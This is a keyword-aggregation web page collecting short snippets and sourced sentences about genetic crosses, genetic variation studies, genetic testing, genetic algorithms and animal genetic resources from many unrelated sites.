Six selected SSRs from M. truncatula were used to fingerprint and estimate the genetic similarity of a set of 23 accessions of ... The selected SSRs will allow fingerprinting and genetic studies in Onobrychis species, solving the lack of available SSR ... Kaghzi Kalan) and assessment of genetic fidelity of micropropagated plants using RAPD markers ...
Genetic control of collagen-induced arthritis in a cross with NOD and C57BL/10 mice is dependent on gene regions encoding ... Genetic mapping of 353 F2 mice revealed two loci associated with arthritis. One locus was found on chromosome 2 (LOD score 9.8 ... The genetic control of arthritis is unique in comparison to diabetes, since none of these loci have been identified in analysis ... a genetic analysis was performed. (NOD.Q x B10.Q)F1 mice were resistant, whereas 27% of the (NOD.Q x B10.Q)F2 mice developed ...
A Cross-Cancer Genetic Association Analysis of the DNA Repair and DNA Damage Signaling Pathways for Lung, Ovary, Prostate, ... A Cross-Cancer Genetic Association Analysis of the DNA repair and DNA Damage Signaling Pathways for Lung, Ovary, Prostate, ... A Cross-Cancer Genetic Association Analysis of the DNA repair and DNA Damage Signaling Pathways for Lung, Ovary, Prostate, ... This cross-cancer site, pooled analysis was performed to increase the power to detect common variants of DNA repair genes ...
Its definitely not a Genetic Optimizer issue: we made an effort to fix all cross-thread operation errors that existed in it. ... Its definitely not a Genetic Optimizer issue: we made an effort to fix all cross-thread operation errors that existed in it. ... I decided to experiment with the Genetic Optimizer Extension and I have run into a problem. In the middle of an optimization ... Hi! I decided to experiment with the Genetic Optimizer Extension and I have run into a problem. In the middle of an ...
... for F1 Cross ¡V Expected Genetic Outcomes F1 Parent, ... Exercise 2: Dihybrid Genetic Crosses PROCEDURES: 1. Based on what you can conclude about its genetic makeup when told that the ... 4. Using the Punnett Square for F1 Dihybrid Cross, Figure 3, indicate the possible genetic outcomes for the F2 progeny here: ... Dihybrid Genetic Crosses for Corn. A. What are the two hypotheses that you made about the allelic frequencies of progeny ...
... menstruation and genetic factors on iron status in Spanish menstruating women (n = 142). Dietary intake was assessed by a 72-h ... Influence of Diet, Menstruation and Genetic Factors on Iron Status: A Cross-Sectional Study in Spanish Women of Childbearing ... Influence of Diet, Menstruation and Genetic Factors on Iron Status: A Cross-Sectional Study in Spanish Women of Childbearing ... "Influence of Diet, Menstruation and Genetic Factors on Iron Status: A Cross-Sectional Study in Spanish Women of Childbearing ...
Dissection of genetic variance into additive (D), dominance (H), environment (E) and interaction (F) components revealed ... Dissection of genetic variance into additive (D), dominance (H), environment (E) and interaction (F) components revealed ... From these, one tolerant (ZL-11271) and one susceptible (R-2304-2) genotypes were crossed to develop six basic generations, ... From these, one tolerant (ZL-11271) and one susceptible (R-2304-2) genotypes were crossed to develop six basic generations, ...
However, the data from this study suggest that there are also distinct components to the genetic architectures of these two ... Previous work has shown that Tourettes syndrome and OCD have some degree of shared genetic variation. ... Cross-disorder Genome-Wide Analyses Suggest a Complex Genetic Relationship Between Tourettes Syndrome and OCD Am J Psychiatry ... However, the data from this study suggest that there are also distinct components to the genetic architectures of these two ...
... and to evaluate the extent of genetic variability recovered through selfing. A vast amount of genetic variation was detected ... A vast amount of genetic variation was detected among the 72 lines evaluated for quantitative and qualitative traits. ... and to evaluate the extent of genetic variability recovered through selfing. ... Elevated Genetic Diversity in an F2:6 Population of Quinoa (Chenopodium quinoa) Developed through an Inter-ecotype Cross. ...
... Asian ... Genetic Variation of Different Crosses of Linseed (Linum usitatissimum L.) Genotypes for Some Agro-morphological Traits. ... Variability, Heritability and Genetic Advance for Some Yield and Yield Related Traits in Ethiopian Barley (Hordeum vulgare L.) ... Genetic Variability of Ethiopian Mustard (Brassica carinata A. Brun) Accessions Based on Some Morphological Characters. ...
Genetic mapping of genes regulating the thymus size in back-cross rats between the laboratory BUF/Mna strain and the MITE ... Mapping of two genetic loci, Ten-1 and Ten-2, associated with thymus enlargement in BUF/Mna rats MURAKUMO Y ... Genetic mapping of the athymic nude (RNU) locus in the rat to a region on chromosome 10 CASH JM. ... A rat genetic map constructed by representational difference analysis markers with suitability for large-scale typing TOYOTA M ...
Genetic and Undiagnosed Conditions met for the first time on Tuesday 28 March. We are delighted that Bob Doris (SNP MSP for ... John Scott MSP and Anas Sarwar MSP will support Bob Doris MSP as Deputy Conveners of the Cross Party Group. ... The proposed Cross Party Group on Rare, Genetic and Undiagnosed Conditions met for the first time on Tuesday 28 March. We are ... Help to set up the Cross Party Group on Rare, Genetic and Undiagnosed Conditions. Last Reviewed 10/04/2017. ...
Little genetic differentiation in different language groups of the Cross River region of Nigeria ... Human genetic variation: the first 50 dimensions. Human genetic variation: 124+ clusters with the Galore approach. How Y-STR ... The Cross River region was shown to be extremely homogenous for both Y-chromosome and mtDNA markers with language spoken having ... Little genetic differentiation as assessed by uniparental markers in the presence of substantial language variation in peoples ...
Investigation of genetic determinants of drug response in a Plasmodium falciparum genetic cross using a high-throughput ... In support of these efforts, the parental lines and progeny of the 803xGB4 genetic cross were characterized by pharmaceutical ... Linkage analysis revealed 25 genetic loci significantly associated with parasite response to 61 compounds. A locus on ... rapid spread of artemisinin-resistant Plasmodium falciparum in southeast Asia highlights the importance of identifying genetic ...
  • Our data suggest that extreme localization of recombination toward the chromosome ends, resulting in gaps on the genetic map of 30 cM or more in the distal regions, is typical for pearl millet. (www.gov.uk)
  • Over the past 10 years, resources have been established for the genetic analysis of pearl millet, Pennisetum glaucum (L.) R. Br. (www.gov.uk)
  • Program in Genetic Epidemiology and Statistical Genetics, Harvard School of Public Health, Boston, Massachusetts. (nih.gov)
  • These data represent a basic resource for clinical genetics laboratories as well as for sequencing-based association studies by providing information on genetic variant frequencies in a cohort that is well matched to national patient cohorts. (diva-portal.org)
  • PHILADELPHIA , Nov. 15, 2019 /PRNewswire/ -- Invitae Corporation ( NVTA ), a leading medical genetics company, today announced Invitae Discover , a clinical research platform that leverages biometric data available through Apple Watch to provide better understanding of the genetic causes of disease. (yahoo.com)
  • The first study on the platform will evaluate genetics in cardiovascular disease and was announced in conjunction with the American Heart Association's Scientific Sessions where researchers are presenting data on genetic screening in familial hypercholesterolemia. (yahoo.com)
  • Invitae Corporation ( NVTA ) is a leading medical genetics company, whose mission is to bring comprehensive genetic information into mainstream medicine to improve healthcare for billions of people. (yahoo.com)
  • The Collaborative Cross (CC) represents a large collection of new inbred mouse strains created by the mouse genetics community aimed at revolutionizing the study of complex genetic traits and diseases. (redorbit.com)
  • In genetics, a test cross, first introduced by Gregor Mendel, involves the breeding of an individual with a phenotypically recessive individual, in order to determine the zygosity of the former by analyzing proportions of offspring phenotypes. (wikipedia.org)
  • The risk of developing cancer is higher in people who are born with certain genetic changes (mutations) that are passed on from their parents and found in every cell in their body. (ahealthyme.com)
  • To perform these functions during the lifetime of organs or tissues, stem cells need to maintain their populations in a faithful distribution of their epigenetic states, which are susceptible to stochastic fluctuations during each cell division, unexpected injury, and potential genetic mutations that occur during many cell divisions. (escholarship.org)
  • A genetic test is the analysis of human deoxyribonucleic acid (DNA), ribonucleic acid (RNA), chromosomes, and proteins to detect heritable disease-related genotypes, mutations, phenotypes, or karyotypes (standard pictures of the chromosomes in a cell) for the purposes of diagnosis, treatment, and other clinical decision making. (encyclopedia.com)
  • Genetic tests may detect mutations at the chromosomal level, such as additional, absent, or rearranged chromosomal material, or even subtler abnormalities such as a substitution in one of the bases that make up the DNA. (encyclopedia.com)
  • Scientists used SNP genotyping in populations of freshwater stickleback fish to determine the genetic mutations responsible for the impaired development of pelvises and spines. (hhmi.org)
  • Most existing genome-wide association analyses are cross-sectional, utilizing only phenotypic data at a single time point, e.g. baseline. (plos.org)
  • Polygenic score analyses were conducted to investigate the genetic architecture within and across the two disorders. (nih.gov)
  • Logistic regression analyses were performed to examine the associations between family history and willingness to undergo genetic testing in patients with and without hypertension. (bmj.com)
  • However, the genetic analyses also revealed that certain infections came from places across the Angolan and Zambian borders, information that was much more difficult to obtain using self-report or mobile phone data. (elifesciences.org)
  • Factor analyses were performed to explore the associations between different dietary patterns and parameters of oxidative stress and genetic damage. (biomedcentral.com)
  • Cluster number K=9 provided insight into the within and among country genetic diversity. (wcgalp.org)
  • Overall, there was relatively low genetic diversity across all cultivated plums suggesting they have been largely inbred and/or derived from a limited number of founders. (nature.com)
  • The low genetic diversity and lack of true wild-types coupled with the known cultivation history of Eurasian plums imply that P. domestica may have been a product of inter-specific cross breeding and artificial selection by early agrarian Eurasian societies. (nature.com)
  • 2. Based on the phenotype and genotype information for the P cross from 1 above, record the genotypes and Expected Frequencies for P and F1 in Table 9.2. (jiskha.com)
  • From these, one tolerant (ZL-11271) and one susceptible (R-2304-2) genotypes were crossed to develop six basic generations, being evaluated on mean day/night temperatures of 36.1°C/22.8°C (NS) and 42.3°C/25.9°C (HS) in factorial randomized complete block design with three replications. (frontiersin.org)
  • This study was carried out in 2012/13 cropping season to determine the genetic variability of 25 linseed genotypes derived from various crosses including checks. (scialert.net)
  • To use Punnett squares to predict the results of genetic crosses and determine the genotypes of the parent flies in a particular cross. (exploratorium.edu)
  • Fill in what is known about the genotypes of the flies in the cross. (exploratorium.edu)
  • Seed size (determined by 100-seed weight) is an important component of trade and yield in chickpea (Cicer arietinum L.). The present investigation was undertaken to study the possibility of maternal inheritance for seed size and to estimate relative importance of additive and non-additive gene effects on seed size in three chickpea crosses involving two desi (ICC 5002 and ICC 7672) and two kabuli (ICC 11255 and ICC 17109) genotypes. (cgiar.org)
  • We conducted a cross-cancer analysis of 60,297 single nucleotide polymorphisms, at 229 DNA repair gene regions, using data from the NCI Genetic Associations and Mechanisms in Oncology (GAME-ON) Network. (nih.gov)
  • Abstract: We have developed a toolbox and graphic user interface, EEGLAB, running under the cross-platform MATLAB environment (The Mathworks, Inc.) for processing collections of single-trial and/or averaged EEG data of any number of channels. (psu.edu)
  • Genetic control of collagen-induced arthritis in a cross with NOD and C57BL/10 mice is dependent on gene regions encoding complement factor 5 and F. (nih.gov)
  • This is the first study to show that at very fine geographic/linguistic scales language differences can be maintained in the presence of substantial gene flow over an extended period of time and demonstrates the value of dense sampling strategies and having DNA of known and detailed provenance , a practice that is generally rare when investigating sub-Saharan African demographic processes using genetic data. (blogspot.com)
  • This study hypothesized indirectly, from molecular genetic mechanisms that OSAS causes dysglycemia phenotype, that OSAS might be associated with GLUT4 gene polymorphism through GLUT4 gene mutation locus from sequencing screening. (biomedcentral.com)
  • Wellems et al (1991) performed a second cross between clones HB3 and Dd2, which they used to discover the gene responsible for chloroquine resistance. (malariagen.net)
  • Hayton et al (2008) performed a third cross between clones 7G8 and GB4, discovering a gene involved in parasite invasion of human red blood cells, now a promising vaccine candidate. (malariagen.net)
  • In this hands-on activity students review the steps of eukaryotic gene expression and learn how this knowledge can be used to treat genetic disease. (hhmi.org)
  • It tells the story of the successes and challenges that led to the development of the first FDA-approved gene therapy for a genetic disease. (hhmi.org)
  • Mating between domesticated dogs and wild wolves over hundreds of years has left a genetic mark on the wolf gene pool, new research has shown. (blogspot.com)
  • On the other hand, two Italian wolves with an unusual, black coat colour did not show any genetic signatures of hybridisation, except for carrying a dog-derived variant of a gene linked to dark colouration. (blogspot.com)
  • Generation mean analysis indicated the presence of additive gene effects controlling seed size in three crosses. (cgiar.org)
  • The test is designed for use in adults who may be potential carriers of genetic alterations pertaining to FXS, also known as the FMR1 gene. (yahoo.com)
  • Genetic factors alongside environmental variables and gene-environment interactions are implicated in th. (biomedcentral.com)
  • Farmers particularly targeted Monsanto because its field trials of the 'terminator gene' - designed to prevent plants from producing seeds and so to make farmers buy new seed each year - created the danger of 'genetic pollution' that would sterilize other crops in the area. (thirdworldtraveler.com)
  • Current applications of the technology include medical investigations of gene structure for the control of genetic disease, particularly through antenatal diagnosis. (thefreedictionary.com)
  • including the two researchers involved in the 2015 work - have used a new active genetic element called a CopyCat element and more traditional genome editing to analyze the control of a gene that coordinates the formation of a simple structure in a fruit fly - a vein in the wing. (elifesciences.org)
  • More broadly though, this structure presents a picture of the intimate interactions between the subunits in the actinin dimer, providing a framework to better understand the molecular details of actin cross-linking and its regulation in all actinins and perhaps in spectrins too. (springer.com)
  • Integration of molecular data generated by microsatellite panels recommended by FAO around the world should be initiated in order to accomplish objectives stated in the Global Plan of Action for Animal Genetic Resources. (wcgalp.org)
  • In cross-sectional studies including 3,000-9,000 individuals with and without type 2 diabetes, the discriminatory ability of the combined SNP information has been assessed by grouping individuals based on the number of risk alleles and determining relative odds of type 2 diabetes, as well as by calculating the area under the receiver operating characteristic curve (AUC). (diabetesjournals.org)
  • Researchers explore genetic engineering to produce super-tough fibers. (the-scientist.com)
  • Separately at the AHA Scientific Sessions, Invitae researchers will be participating in a moderated poster session at the AHA meeting to discuss research quantifying the low diagnostic yield of highly targeted, direct-to-consumer genetic screening strategies in familial hypercholesterolemia. (yahoo.com)
  • Researchers from the Capital Region of Denmark and the University of Copenhagen are launching Denmark's largest genetic study of blood samples from around 120,000 cardiovascular patients. (regionh.dk)
  • hope these advances will encourage other researchers to use active genetic elements in a broad range of organisms to enable and accelerate their research. (elifesciences.org)
  • The overall results highlight the importance of cross-talk between genetic and epigenetic regulation and the performance objectives during homeostasis in shaping a desirable heterogeneous distribution of stem cells in epigenetic states. (escholarship.org)
  • A total of 1000 individuals, reflecting a cross-section of the population and capturing the main genetic structure, were selected for whole-genome sequencing. (diva-portal.org)
  • Additiveadditive type of non-allelic interactions were found significant in desikabuli crosses, ICC 5002ICC 17109 and ICC 7672ICC 11255. (cgiar.org)
  • Considering this shortcoming, this paper proposed a hybrid of cross entropy with genetic algorithm (GA), called CEGA, on m-machines NWJSS. (scirp.org)
  • The results are compared with other metaheuritics: Genetic Algorithm-Simulated Annealing (GASA) and hybrid tabu search. (scirp.org)
  • B. Santosa, M. Budiman and S. Wiratno, "A Cross Entropy-Genetic Algorithm for m-Machines No-Wait Job-ShopScheduling Problem," Journal of Intelligent Learning Systems and Applications , Vol. 3 No. 3, 2011, pp. 171-180. (scirp.org)
  • P. J. Chao-Hsien and H. Han-Chiang, "A Hybrid Genetic Algorithm for No-Wait Job Shop Scheduling Problems," Expert Systems with Application, Vol. 36, No. 2, Part 2, 2009, pp. 5800-5806. (scirp.org)
  • Intrarow splicing regarded as the travelling salesman problem is solved by the improved genetic algorithm. (hindawi.com)
  • Computational experiments suggest that the presented algorithm is of high precision and efficiency, and that the algorithm may be useful for the different size of cross-cut shredded text document. (hindawi.com)
  • I pushed the data through a genetic algorithm to determine which rows to keep. (stackexchange.com)
  • Let's say you're running a genetic algorithm to improve the way people are interacting with an online service. (stackexchange.com)
  • 3) Are there any standard ways of analysing the performance of a genetic algorithm in this kind of environment, or other useful ways of looking at the results and evaluating the impact of the algorithm? (stackexchange.com)
  • It's important to understand the limitations of genetic testing and how the test results might be used before getting tested. (ahealthyme.com)
  • Results In the hypertension and non-hypertension groups, 323 (55.9%) and 509 patients (45.2%), respectively, were willing to undergo genetic testing. (bmj.com)
  • Our results provide a framework for incorporating genetic data into malaria surveillance and provide evidence that both strengthening of local interventions and regional coordination are likely necessary to eliminate malaria in this region of Southern Africa. (elifesciences.org)
  • also supports these results, showing that, in Bangladesh, combining genetic data with travel history and mobile phone records helps to track how malaria spreads. (elifesciences.org)
  • Results: The 26 regions previously associated with cross-sectional lung function jointly showed a strong effect on baseline lung function (p=4.44×10−16 for FEV1/FVC) but no effect on longitudinal decline (p=0.160 for FEV1/FVC). (nottingham.ac.uk)
  • Many of the strides made in genetic diagnostics are direct results of the Human Genome Project, an international thirteen-year effort begun in 1990 by the U.S. Department of Energy and the National Institutes of Health, which mapped and sequenced the human genome in its entirety. (encyclopedia.com)
  • The creation of the Invitae Discover platform will make it easier to conduct studies that assess genetic test results alongside the biometric data that is now easily available on Apple Watch, thereby joining basic electrophysiological data with genetic information in order to advance our understanding of the genetic underpinnings of disease and help improve clinical care," said Robert Nussbaum , M.D., chief medical officer of Invitae. (yahoo.com)
  • The study will combine health and activity data from Apple HealthKit with clinical genetic testing results. (yahoo.com)
  • Results from abroad show that genetic studies can help us understand the mechanisms that increase patients' risk of developing cardiovascular disease,' said Professor Bundgaard. (regionh.dk)
  • Cross-pollination can produce haphazard results, so plant breeders looked for ways to ensure more consistent offspring from crossed plants, resulting in a technique called hybridization. (gardeners.com)
  • Genetic mapping of 353 F2 mice revealed two loci associated with arthritis. (nih.gov)
  • In a BALB/c genetic background, IL1RN -deficient mice have histological features in common with psoriasis ( 13 ). (rupress.org)
  • We aimed to test for interactions of genetic and dietary factors influencing body iron status in relation to the risk of incident type 2 diabetes. (diabetesjournals.org)
  • This supports the finding that genetic factors have significant influence on vitamin D status. (springer.com)
  • Obsessive-compulsive disorder (OCD) and Tourette's syndrome are highly heritable neurodevelopmental disorders that are thought to share genetic risk factors. (nih.gov)
  • Factors associated with a willingness to undergo genetic testing were evaluated in patients with and without hypertension using a logistic regression model. (bmj.com)
  • Unidentified confounding factors may have affected the association between the willingness to undergo genetic testing and family medical history. (bmj.com)
  • CHB occurs in 1-2% of anti-Ro/SSA antibody-positive pregnancies and has a recurrence rate of 12-20% in a subsequent pregnancy, suggesting that additional factors, such as genetic and environmental components may determine the outcome in terms of CHB development in autoantibody exposed fetuses. (unipd.it)
  • Identifying these genetic factors should significantly improve our ability to predict of osteoporosis and its associated risks. (biomedcentral.com)
  • For example, people who are found to be especially susceptible to genetic conditions with specific environmental triggers are advised to avoid the environmental factors linked to developing the disease. (encyclopedia.com)
  • Part of that association may be mediated by body iron status, which is influenced by genetic factors. (diabetesjournals.org)
  • Theoretical limit of resolution depends on the size of the genome, size of the population and type of the cross. (biomedcentral.com)
  • In an admixed population of older Cubans we explored the effects of ethnic identity and genetic admixture on APOE genotype, its association with dementia, and dementia prevalence. (biomedcentral.com)
  • In experiments with mixed parental DNAs, electropherograms showed that signals of cross-contamination can be missed when minor peaks less than 1/4 or 1/3 the height of the major peak are disregarded by threshold settings commonly used for population studies. (beds.ac.uk)
  • Familial adenomatous polyposis is an inherited genetic disease, which is characterized by colorectal polyps. (biomedcentral.com)
  • The Department of Agriculture formally became involved in genetic engineering in April of 1988, when the Patent and Trademark Office issued the first animal patent, granted on a genetically engineered mouse used in cancer research. (thefreedictionary.com)
  • The New Zealand farm-level C. parvum prevalence was estimated using a cross-sectional sample of 1283 faecal specimens collected from newborn calves on 97 dairy farms. (biomedcentral.com)
  • These Guidelines are for use in assisting the development of Country Reports as strategic policy documentation covering the state of animal genetic resources, of the art and capacity to manage these resources, and of country needs and priorities. (fao.org)
  • The Guidelines serve to help support conduct of the country-driven State of the World Process for Animal Genetic Resources, preparation for which is being co-ordinated globally by FAO. (fao.org)
  • The FAO and its inter-governmental Commission on Genetic Resources for Food and Agriculture (CGRFA), which has 161 members and is the major international forum for developing policies on genetic resources for food and agriculture, has requested the preparation, through a country-driven process, of the first Report on the State of the World's Animal Genetic Resources for Food and Agriculture . (fao.org)
  • This report will provide a foundation for setting country, regional and global priorities and assistance in maintaining and enhancing the contribution of animal genetic resources (AnGR) to food and agriculture. (fao.org)
  • A meeting of experts in 1992, and subsequent sessions of FAO's governing bodies, provided the impetus to initiate the development of the Global Strategy for the Management of Farm Animal Genetic Resources (Global Strategy) in 1993. (fao.org)
  • The FAO Conference requested the Director-General to establish an Ad Hoc Group of Experts on Animal Genetic Resources, which met on 7-9 January 1997, to prepare for the future work of an Intergovernmental Technical Working Group on Animal Genetic Resources for Food and Agriculture. (fao.org)
  • To address this challenge, we systematically collected parasite genetic data and travel history from thousands of malaria cases across northeastern Namibia and estimated human mobility from mobile phone data. (elifesciences.org)
  • The new tool we have developed, Pheno2Geno, allows the use of comparable amounts of expression data either to saturate genetic maps, or to derive them de novo . (biomedcentral.com)
  • Local and cross-border importation remain major challenges to malaria elimination and are difficult to measure using traditional surveillance data. (elifesciences.org)
  • However, genetic data identified more detailed and extensive evidence of parasite connectivity over hundreds of kilometers than the other data, within Namibia and across the Angolan and Zambian borders. (elifesciences.org)
  • Combining genetic data with travel history and phone records, Tessema, Wesolowski et al. (elifesciences.org)
  • While genetic data can help to monitor how new malaria cases are imported, this knowledge will be most valuable if it is routinely collected across countries. (elifesciences.org)
  • New tools will also be required to translate genetic data into information that can easily be used for control and elimination programs. (elifesciences.org)
  • Importantly, the utility of a genetic map together with genomic sequence data was demonstrated, and the genetic basis of a growth QTL determined. (up.ac.za)
  • RI panels are popular because of their long-term genetic stability, which enhances reproducibility and integration of data collected across time and conditions. (genetics.org)
  • However, available data to date do not yet provide convincing evidence to support use of genetic screening for the prediction of type 2 diabetes. (diabetesjournals.org)
  • The program, called Genetic Testing Solution, will be administered by specialty benefits manager AIM Specialty Health, and is aimed at promoting "appropriate use" and providing "education that addresses the clinical and financial complexities of genetic testing," Anthem Blue Cross said in a statement. (genomeweb.com)
  • The guide prohibited outright most forms of genetic engineering and was accepted by numerous U.S. professional medical societies, including the American Medical Association (AMA).In 1969 the AMA promulgated its own ethical guidelines for clinical investigation, key provisions of which conflicted with the Helsinki Declaration. (thefreedictionary.com)
  • Here we present the genomes of the CC strains using two complementary approaches as a resource to improve power and interpretation of genetic experiments. (genetics.org)
  • U.S. scientists began experiments with the genetic engineering of farm animals, such as creating cows that would give more milk, chickens that would lay more eggs, and pigs that would produce leaner meat. (thefreedictionary.com)
  • Family, twin and epidemiologic studies all point to an important genetic contribution to the risk to develop mood and anxiety disorders. (biomedcentral.com)
  • The question is: A cross between two pure breeding (Homozygous) corn plants was set up to produce an F1 generation. (biology-online.org)
  • The purpose of a test cross is to determine if this individual is homozygous dominant or heterozygous. (wikipedia.org)
  • Use Zocdoc to find ob-gyns in Woodside, Queens who take Blue Cross Blue Shield insurance. (zocdoc.com)